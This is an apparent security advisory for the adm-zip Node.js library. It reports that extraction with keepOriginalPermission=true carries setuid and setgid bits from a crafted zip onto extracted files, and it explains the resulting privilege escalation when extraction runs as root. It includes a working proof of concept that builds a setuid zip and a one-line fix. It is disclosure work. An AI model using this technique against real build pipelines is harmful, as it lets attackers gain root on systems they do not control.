## Summary
adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.
## Details
The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:
```js
// headers/entryHeader.js:187
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
```
`0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.
When the flag is on, that value goes straight to the write:
```js
// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
```
```js
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);
```
No `& 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.
## PoC
Tested against
[email protected] (latest as of 2026-08-01), Node 22, Linux.
1. Craft a zip with a setuid binary using standard tooling (this is the
realistic attacker path — no adm-zip APIs involved in creating it):
```bash
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr(zi, '#!/bin/sh\nid\n')
"
```
2. Extract with the flag enabled:
```js
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755 (setuid bit set — the file is root-owned if the extractor runs as root)
```
3. Control — same zip, default extraction (`keepOriginalPermission=false`):
mode comes out `0666`, no setuid. The flag is the enabler.
Alternative supply path, if the zip is built in-process with adm-zip's own API:
```js
const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755
```
## Impact
Privilege escalation.
The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.
Realistic chain:
1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.
3. The root-owned setuid file leaves the build, typically preserved by `cp -a`/rsync mode-bit propagation, into the runtime environment.
4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.
Who is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root.
Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file.
Severity: Medium
Suggested fix, one line in the getter:
```js
get fileAttr() {
return (_attr >> 16) & 0o777;
}
```
